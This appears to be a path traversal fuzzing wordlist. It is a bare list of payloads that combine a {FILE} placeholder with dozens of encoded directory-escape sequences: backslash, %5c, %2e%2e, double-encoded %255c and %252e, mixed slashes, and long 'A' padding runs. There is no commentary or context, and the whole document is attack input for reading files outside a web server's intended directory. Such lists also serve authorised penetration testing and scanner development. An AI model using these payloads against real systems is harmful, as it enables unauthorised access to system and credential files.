..\..\..\..\..\..\{FILE}<br /> ..\..\..\..\..\..\..\{FILE}<br /> ..\..\..\..\..\..\..\..\{FILE}<br /> ..%5c{FILE}<br /> ..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c{FILE}<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c{FILE}<br /> %2e%2e\{FILE}<br /> %2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\%2e%2e\{FILE}<br /> %2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> %2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c{FILE}<br /> ..%255c{FILE}<br /> ..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c..%255c..%255c..%255c{FILE}<br /> ..%255c..%255c..%255c..%255c..%255c..%255c..%255c..%255c{FILE}<br /> %252e%252e\{FILE}<br /> %252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\%252e%252e\{FILE}<br /> %252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> %252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255c{FILE}<br /> \../{FILE}<br /> \../\../{FILE}<br /> \../\../\../{FILE}<br /> \../\../\../\../{FILE}<br /> \../\../\../\../\../{FILE}<br /> \../\../\../\../\../\../{FILE}<br /> \../\../\../\../\../\../\../{FILE}<br /> \../\../\../\../\../\../\../\../{FILE}<br /> /..\{FILE}<br /> /..\/..\{FILE}<br /> /..\/..\/..\{FILE}<br /> /..\/..\/..\/..\{FILE}<br /> /..\/..\/..\/..\/..\{FILE}<br /> /..\/..\/..\/..\/..\/..\{FILE}<br /> /..\/..\/..\/..\/..\/..\/..\{FILE}<br /> /..\/..\/..\/..\/..\/..\/..\/..\{FILE}<br /> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../{FILE}<br /> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../../{FILE}<br /> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../../../{FILE}<br /> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../../../../{FILE}<br /> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../../../../../{FILE}<br /> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../../../../../../{FILE}<br /> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../../../../../../../{FILE}<br /> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/../../../../../../../../{FILE}<br /> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\..\{FILE}<br /> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\..\..\{FILE}<br /> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\..\..\..\{FILE}<br /> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\..\..\..\..\{FILE}<br /> 